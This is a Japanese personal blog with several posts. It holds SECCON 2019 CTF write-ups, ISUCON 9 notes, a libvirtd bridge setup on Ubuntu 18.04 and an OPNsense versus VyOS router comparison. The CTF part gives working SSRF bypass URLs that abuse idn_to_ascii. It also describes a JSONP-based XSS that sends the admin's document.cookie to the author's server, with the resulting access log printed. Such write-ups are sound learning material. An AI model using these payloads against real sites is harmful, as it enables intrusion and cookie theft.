      if [ "$portstr" = "You Lose!" ]
      then
        echo $start_time
        date +%H:%M:%S.%N
        echo -e '\e[31mYOU LOSE\e[m'
        exit 1
      fi
      sleep 0.059
    done
    

    なお、懇親会中に、このコンテストに関わった Network Operation Center の方々の紹介の時間があり、その際に改めて思い出したが、このコンテストのネットワーク環境は極めて安定しており、快適だったと感じる。インターネット接続でストレスを感じることがなかったし、コンテスト関係のシステムに繋ぎに行くのにもストレスを感じることもなかった。しかし、改めて思えば、東京都から北海道石狩市は通常でも 20ms 以上の RTT が必要な距離なのに、 UDP の問題を純粋に解くコードも回復スクリプト等も timeout 0.12 nc -u 10.1.1.1 $port_num のような感じで「東京秋葉原から UDP パケットを投げ、 120ms 以内に石狩市のサーバから返事が返ってこないと失敗扱い(しかも、失敗が正しいと見做して次に進むので、あとになって結果が間違いとわかる)」という処理を乱発しても、気付く範囲での問題が発生しない程度の安定したネットワークが保たれていた。コンテスト中はぎりぎりまで詰めることしか頭になかったが、冷静に考えたら 120ms で何もかも捨てるスクリプトは色々おかしいし、これが動いたのはネットワークが相当安定していたからだと思う。このコンテストの関係者の方は全員に感謝したいが、中でもこのネットワーク管理(しかも今回からクラウド移行したという)の関係の方には賛辞を送りたいと思う。

    (追記)チームメンバーの write up

    SECCON CTF 2019 国内決勝 writeup – yuta1024’s diary
    SECCON 2019 国内決勝 writeup – liniku’s blog

    SECCON 2019 予選 write up

    チーム「yharima」で SECCON 2019 CTF の予選に参加していた。1954点、45位だった。

    coffee_break

    暗号化スクリプトと、暗号文がおいてある。鍵も置いてあるので、読みながら順番に元に戻すコードを書いて復元する。

    import sys
    from Crypto.Cipher import AES
    import base64
    
    
    def encrypt(key, text):
        s = ''
        for i in range(len(text)):
            s += chr((((ord(text[i]) - 0x20) + (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20)
        return s
    
    def decrypt(key, text):
        s = ''
        for i in range(len(text)):
            s += chr((((ord(text[i]) - 0x20) - (ord(key[i % len(key)]) - 0x20) + (0x7e-0x20+1)) % (0x7e - 0x20 + 1)) + 0x20)
    
        return s
    
    
    key1 = "SECCON"
    key2 = "seccon2019"
    #text = sys.argv[1]
    
    #enc1 = encrypt(key1, text)
    cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB)
    #p = 16 - (len(enc1) % 16)
    #enc2 = cipher.encrypt(enc1 + chr(p) * p)
    #print(base64.b64encode(enc2).decode('ascii'))
    
    crypted='FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905'
    crypt_raw=base64.b64decode(crypted)
    enc1 = cipher.decrypt(crypt_raw)
    
    enc1 = enc1[:-5]
    
    print decrypt(key1, enc1)
    
    
    SECCON{Success_Decryption_Yeah_Yeah_SECCON}
    

    Option-Cmd-U

    繋ぐと、指定した URL に接続し、取得した HTML を表示してくれる。ソースコードも公開されている。フラグは /flag.php にあるが、こちらは内部ネットワークからしか見れないとのこと。Docker で構成され、 http://nginx/ に繋げばよさそうな雰囲気が漂っているが、 IP アドレス確認で nginx と一致するとはじかれる仕様になっている。

    当該ソースコードには、以下のような部分があった。

                            $url = filter_input(INPUT_GET, 'url');
                            $parsed_url = parse_url($url);                        
                            if($parsed_url["scheme"] !== "http"){
                                // only http: should be allowed. 
                                echo 'URL should start with http!';
                            } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {
                                // local access to nginx from php-fpm should be blocked.
                                echo 'Oops, are you a robot or an attacker?';
                            } else {
                                // file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/
                                highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46),
                                                                   false,
                                                                   stream_context_create(array(
                                                                       'http' => array(
                                                                           'follow_location' => false,
                                                                           'timeout' => 2
                                                                       )
                                                                   ))));
                            }
    

    ここで、 idn_to_ascii という処理を挟んでいるが、ドメイン部をチェックする部分まではよかったものの、その後 file_get_contents で中身を取得する際に URL 全体に対してこの処理をかけてしまっていることに気付く。/や:も生き残るようなので、「正しく URL を解釈した場合にはホスト名が nginx にならず」「URL 全体を idn_to_ascii してしまったら、 nginx につながる URL になる」ような URL を渡すことになる。

    全角文字をつけると、ピリオドで区切られた範囲で最初に xn-- が、最後に全角文字を変換した文字が入るので、 http://a:.b@あnginx/ などとするとxn-- は @ の前のパスワード部に、全角文字を変換したものは / のあとになるので、ホスト名をだますことまではできたが、 flag.php のピリオドが邪魔でなかなかうまくいかなかった。

    試行錯誤の結果 http://a:hb.@¡nginx:80./flag.php が http://a:hb.xn--@nginx:80-qja./flag.php に変換させるところまではいけたが、 PHP の file_get_contents はポート番号は先頭が数字ならそこだけ解釈するものの、 5 文字以下でないと形式として認識しないようで、うまくいっていなかった。( ¡ は調べた限り idn_to_ascii が返還対象にする中では一番若い Unicode 番号を持っており、これ以上の短縮は厳しいように思えた)

    これをチャットに貼ってしばらく悩んでいたところ、チームメンバーが http://a:.@✊nginx:80.:/flag.php なら通るということに気付き、フラグが得たようだ。変換後は http://a:.xn--@nginx:80-5s4f.:/flag.php となり、ポート番号らしき箇所が二つあるが、 PHP はそういうことは気にしないようだ。

    SECCON{what_a_easy_bypass_314208thg0n423g}
    

    SPA

    過去の SECCON のフラグの一覧が表示され、 2019 年の物に関しては SPA の項目だけあるがフラグが「??????」が震えている表示になるページが表示された。そして、 admin への report 機能がついており、ここに URL を入れると(たとえ外部 URL であっても)admin からヘッドレスブラウザでアクセスが来るようだった。

    中を見るとVue で構成されており、# 以下の fragment 部分で切り替わるようになっていた。this.contest = await $.getJSON(`/${contestId}.json`) のようにデータを読み込んでおり、 contestId は fragment のため、ここを書き換えることで外部サーバも含め好きな json にアクセスさせることはできた(例えば http://spa.chal.seccon.jp:18364/#/example.com/a を reportすると、コンテスト情報取得で http://example.com/a.json につなぎにくる)。アクセスを受ける側で Access-Control-Allow-Origin を指定すると、 JSON に書かれた好きな内容を表示させられた。

    ただし、基本的には Vue の機能でテンプレートを構成しているので、表示をおかしくすることはできても XSS には至らなかった。他に何かないのかと思い、怪しい部分に近い jQuery の getJSON のドキュメントを見てみると、 “callback=?” が URL に含まれる場合には JSONP として解釈する、といったことが書かれていた。

    ということで、 http://spa.chal.seccon.jp:18364/#/example.com/a.js?callback=?& にアクセスさせることで、 js ファイルに書かれた好きな内容を admin に実行させることができた。最初は admin には今年のフラグが見えるのかと思って今年のフラグを遅らせたら null のままで、ならまず管理画面を見られるか試そうと思い document.cookie を送らせたら次のようなリクエストが来たので、 Cookie の中身がフラグだった(”自分のサーバ/a/” + document.cookie にリダイレクトした)。

    153.120.128.21 - - [20/Oct/2019:03:33:39 +0900] "GET /a/flag=SECCON%7BDid_you_find_your_favorite_flag?_Me?_OK_take_me_now_:)} HTTP/1.1" 404 209 "http://spa.chal.seccon.jp:18364/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3941.4 Safari/537.36"
    

    ISUCON 9 予選に参加した

    全然ダメでしたが。

    いつものチーム「ワイハリマ」で参加していました。前回は結構惜しいところまで行っていたので今年こそは予選突破するぞ!と言っていたら、全然手も足も出ず 5110 点という結果に。

    当日はいつも通り、前半は yuta1024 と yabuuuuu が事前準備したインフラに適合する作業をしつつ kataribe やスローログの準備をしている間に僕がデータベースのスキーマとか、見てわかりそうな部分を改善……しようとしていたのだが、今回は SQL のテーブルは最初からそんなに悪い構造になっておらず、結局効いたのは blob が入っているテーブルで検索にインデックスが効かないため画像ファイルを DB から追い出したことくらい。二人がインフラを改善してくれていたのも効いていたようだ。

    その後、 3 人合流して分析にあたり、 /transactions.json がとにかく遅いので、改善に着手した。SQL のトランザクションを貼りっぱなしで ShipmentService に https 接続していたのが、切り離しに成功して少しだけ上がる。

    その後は buy が遅いということになった。buy は商品を買おうとする注文で、「在庫のある状態の商品なら、 PaymentService に決済を要求し、決済にも成功すれば購入できる、そうでなければ DB の何もかもロールバック」という処理になっていた。在庫状況を確認するのが SELECT FOR UPDATE になっており、行ロックで決済完了まで進める、という処理になっており、要は「買えそうなら商品を仮抑えして決済し、カード番号が違うとかで決済が失敗すればキャンセル」というごく普通の処理になっていたのだが、どうやら「人気商品に注文が殺到する」という、これまた現実にありそうな注文をしてくるようだった。結果、同じ商品に対するほぼ同時のリクエストが全部ロックされ、 fpm のセッション数すら溢れて nginx が 502 Bad Gateway を返す、ということになっていた。

    buy に対する根本的な解決策が思いつかず、行ロック緩和について話し合ったものの雑な処理ではベンチが通らなかったりするので結局改善には至らず。別途他の二人がインフラ周りをいじって、 buy だけ専用機で fpm セッションを食わせるようにしたのはそこそこ効いたようだ。

    今回、問題自体はとても良いものだと感じただけに、特にその設けられた課題に対して直接的な何かを何もできず、ただただ前年の本選問題を見てすらいなかったことなどを反省することしかできなかった。しかし、どうすればよかったのか、結局わかっていない。

    (追記)チームのリポジトリ https://github.com/yuta1024/isucon9

    libvirtd を Ubuntu 18.04 にインストールし、部屋の LAN とブリッジする

    自宅では長らく VMware ESXi を使用してきて、大変良かったのだが、ホストが Linux だと何かと楽だろうと考えたりしていたり、DS77U5 への移行のタイミングでホスト側に直接 Docker で入れられるものは直接入れたくなったりしたのもあり、新たに libvirtd を検証開始。意外とすんなり入って中の状態も分かりやすい感じにはなったが、(主に libvirtd に直接関係ない)よくわからないところに罠があったのでメモ。

    なおこの前に OpenStack を試そうとしたが、 conjure-up が半端に色々ラップしたまま失敗してどうなっているのかさっぱりわからない状態になったのを見て OpenStack は諦めた。

    まずは、 Ubuntu 18.04: 仮想化のKVMをインストールする – Narrow Escape にしたがってパッケージを入れた。ただし、 libguestfs-tools は要らなそうだったので、今のところ入れていない。なお、 /var/lib/libvirt に色々保存するようだったので、通常必要ない操作だがインストール前にこのディレクトリを実際に保存したいパーティションにシンボリックリンクとして指定した。

    $ sudo apt install -y qemu-kvm libvirt0 libvirt-bin virt-manager
    

    また、

    $ sudo gpasswd libvirt -a `whoami`
    

    続いて、ブリッジネットワークを構成する。いつの間にか(多分 LTS だと 18.04 から?) /etc/network/interfaces がもぬけの殻になっていて、 netplan に移行したから /etc/netplan/ を見ろと言っているので、 /etc/netplan/01-netcfg.yaml を編集した。なおこのファイルの名前は、環境によっては 50-cloud-init.yaml などになるようだ。

    なお、ブリッジ側の MAC アドレスは起動するたびにランダムに変わるようで、 DHCP で固定の IP アドレスを配るのに問題があるので、固定した。IP アドレスを static でホスト側で指定するなら不要と思われる。また、 VM で検証しているときはホスト側の仮想スイッチでプロミスキャスモードを禁止しているために通信がうまく行えない罠にはまっていた。

    あと、 macvcap でホストの LAN に直接刺せそうな選択肢があるが、これはブリッジではなく NIC をその VM で占有する時に使うもののようなので、 VM とホスト両方、あるいは複数 VM で使うときはブリッジ構成は必要なようだ。

    # This file describes the network interfaces available on your system
    # For more information, see netplan(5).
    network:
      version: 2
      renderer: networkd
      ethernets:
        enp1s0:
          dhcp4: no
      bridges:
        br0:
          macaddress: XX:XX:XX:XX:XX:XX
          dhcp4: yes
          interfaces: [enp1s0]
    

    これで

    $ sudo netplan generate
    $ sudo netplan apply
    

    などとするとブリッジが構成できたが、古いものが消えなかったりして微妙にこのファイルの定義とずれていくようなので、素直に

    $ sudo reboot
    

    するのがよさそう。

    これでブリッジが構成されるので、

    $ sudo brctl show
    bridge name     bridge id               STP enabled     interfaces
    br0             XXXX.XXXXXXXXXXXX       no              enp1s0
                                                            vnet0
    docker0         XXXX.XXXXXXXXXXXX       no              vethXXXXXXX
                                                            vethXXXXXXX
    virbr0          XXXX.XXXXXXXXXXXX       yes             virbr0-nic
    

    みたいな感じで brctl でブリッジが見え、 ifconfig でも DHCP から降ってきた IP アドレスが見れるようになった。

    なお、 vnet0 というのが、 libvirtd でブリッジに接続したときに VM と紐づけて作る tap インターフェイスのようだ。なので、この状態で enp1s0, br0, vnet0 は同じ L2 として自由に疎通できそうだが、実際には br0 をまたいだパケットがやりとりされない現象に悩んだ。tcpdump を見ても、 enp1s0 から流れてきたパケットは br0 には流れているが vnet0 には流れず、 vnet0 から流しているはずの DHCP discover も br0 には流れているが enp1s0 には流れなかった。

    結局、 networking – why linux bridge doesn’t work – Super User を見て、 iptables が L2 に干渉してくるのか疑問に思いながらも試してみたところ、echo 0 > /proc/sys/net/bridge/bridge-nf-call-iptables によって実際に解決した。よくわかっていないが、どうやら自分のホストに来てしまった時点で L2 な転送でも iptables を通ってしまうようだ。

    なのであとは /etc/sysctl.conf 相当のファイルに

    net.bridge.bridge-nf-call-iptables = 0
    

    という内容を書くことになるが、ここにも罠があった。

    まず、 Ubuntu 18.04 だと /etc/sysctl.d といういかにもディレクトリがあり、 /etc/sysctl.d/README にはご丁寧に

    After making any changes, please run “service procps start” (or, from
    a Debian package maintainer script “invoke-rc.d procps start”).

    とまで書いてあったのだが、なぜか動かなかったので、結局昔ながらのやり方で /etc/sysctl.conf に書き込むことにした。

    しかし、これでは sysctl -p /etc/sysctl.conf や invoke-rc.d procps start では反映されるものの、再起動するとなぜか 1 に戻ってしまう。該当範囲は不明だが、少なくとも Ubuntu 18.04 では procps のサービス起動(sysctl.conf 読み込みを実施する)をネットワークが有効になる前に実施してしまうので、ネットワーク関係の設定はここに書いても無視されてしまうようだ: Ubuntu 18.04 で ipv6 を無効にする | 雑廉堂の雑記帳

    少なくとも net.bridge.bridge-nf-call-iptables は /etc/rc.local でもうまくいかなかった。そのためネットワーク関係のあれこれが起動しているであろう net if の post-up にねじこみたかったが、FAQ | netplan.io によるとそのようなものはまだないようで、代わりに networkd-dispatcher で設定するよう勧められている。幸い、手元の Ubuntu 18.04 では OS インストール時に networkd-dispatcher がインストールされていたようだったので、次のようなファイルを作成することで、再起動しても sysctl.conf が読み込まれて、ブリッジなら iptables を無視してパケットが行き来できるようになった。

    $ cat /usr/lib/networkd-dispatcher/routable.d/99sysctlworkaround
    #!/bin/sh
    /etc/init.d/procps restart
    exit 0
    $ ls -al /usr/lib/networkd-dispatcher/routable.d/99sysctlworkaround
    -rwxr-xr-x 1 root root 46 Jul  6 20:57 /usr/lib/networkd-dispatcher/routable.d/99sysctlworkaround
    

    これでようやく、 libvirtd に br0 を認識させて、直接 enp1s0 に出ていけるようになった。

    MAC アドレスは中からも外からもホストの vnet0 としても、ここに表示されたものになるようだ。ESXi ではマシンを一回立ち上げるまで MAC アドレスがわからないが、 libvirtd + virt-mangaer では最初に起動する前から表示されるので、インストール前に DHCP/DNS に登録できるのは便利。

    (2019/7/23 追記)UEFI ベースの VM を移植するに、 UEFI/OVMF – Ubuntu Wiki にあるように apt install ovmf して UEFI 用のファームウェアをダウンロードする必要があった。また、他のところで使っていた UEFI ベースの VM イメージを取り込む際、 BIOS メニューに入る前(Tiano core ロゴ)に F2 を連打してメニューから efi ファイルを直接選択して起動し起動後に grub-install して起動すべきファイルを認識させる必要があった。

    OPNsense を Protectli Vault FW1 にインストール、 VyOS と簡単に比較

    前回までで、 Protectli Vault FW1 に VyOS インストール簡単な速度測定をしたので、 OPNsense に乗せ換えて比べてみた。

    OPNsense のウェブページから USB メモリ用の img.bz2 をダウンロードして、bz2 を解凍してディスク(パーティションではない)に丸ごと dd で書き込み、そこから boot した。vga なイメージをダウンロードしたにも関わらず画面は Booting で止まり、シリアルポートからしか見えなかった。シリアルポートでも起動時・終了時以外は特に何かが出るわけではないが、起動時にはそれぞれの端子の IP アドレスなどが出るので便利ではある。ちなみに、 115,200 bps なので Vault の BIOS の初期設定と同じでちょうどよい。

    Live イメージになっていてそのままでも利用は可能で、”WAN” で DHCP が利用可能だと “LAN” のポート(ただし初期設定では em0 なので、 Vault FW1 では “WAN” と印刷されている)からそのままインターネットに出ることができた(DHCP も動いている)。LAN 側に繋いで 192.168.1.1 宛に ssh (ユーザ名 installer、パスワード opnsense)でインストールできた。その時立ち上がっている WebUI からは installer ログインできないようだ。

    起動後も初期設定は WAN と LAN が逆になっているが、管理画面から割り当てを変えることで管理画面の表示と印刷を合わせることができる。割り当て変更直後は DHCP がうまくうごかないのか、一度電源ボタンを単押ししてシャットダウンしたあと起動した。もっといい方法はあるかもしれない。

    なお、大抵のサービスは初期設定で全インターフェイスで LISTEN するようになっているので、探して LAN に変更する方がよさそう。

    OPNsense は初期設定でも最低限のファイヤーウォールが設置されているようで、色々設定画面に出てきた。Linux (iptables) と FreeBSD の違いか、かなり設定項目が違ったので、ひとまず初期設定で前回と同じ構成で iperf を通したところ、次のようになった。

    Vault の top

    39 processes:  1 running, 38 sleeping
    CPU:  0.0% user,  0.0% nice, 30.7% system,  0.1% interrupt, 69.2% idle
    Mem: 115M Active, 103M Inact, 182M Wired, 31M Buf, 7418M Free
    Swap: 8192M Total, 8192M Free
    

    iperf

    TCP window size: 85.0 KByte (default)
    ------------------------------------------------------------
    [  3] local 192.168.1.101 port 57712 connected with 192.168.100.37 port 5001
    [ ID] Interval       Transfer     Bandwidth
    [  3]  0.0-20.0 sec  2.18 GBytes   935 Mbits/sec
    

    PC Junkie rev2.4 – 【NW】pfsense VS Vyatta でも Vyatta は pfSense と比べて同じスループットでも CPU 使用率がはるかに低かったと報告されているが、今回の比較(VyOS と OPNsense)でも概ね同じ傾向のようだ(前回は VyOS は初期設定で 1% 未満、ファイヤーウォールを構成していくつか設定すると7%くらいだった)。

    また、電源ボタンを押すと OPNsense が正常にシャットダウンした。

    とりあえず、最初にインストールして気付いた差は次の通り。単純な設定でのスループット性能としては VyOS の方が優れていそうではあるが、どちらも Gigabit な環境でルータにするのに不足ということはなさそう。OPNsense は WebUI で色々いじれたりする点などもあり、ひとまずは OPNsense を使ってみることにした。

    項目 VyOS OPNsense
    NAT 930Mbps での CPU 使用率 初期設定1%未満
    いくつか FW を設定すると 7% (条件は前回)
    初期設定約30%
    初期インストールでの SSD 消費量 約 500MB
    (約 1GB を squashfs 圧縮)
    約 1GB
    WebUI なし あり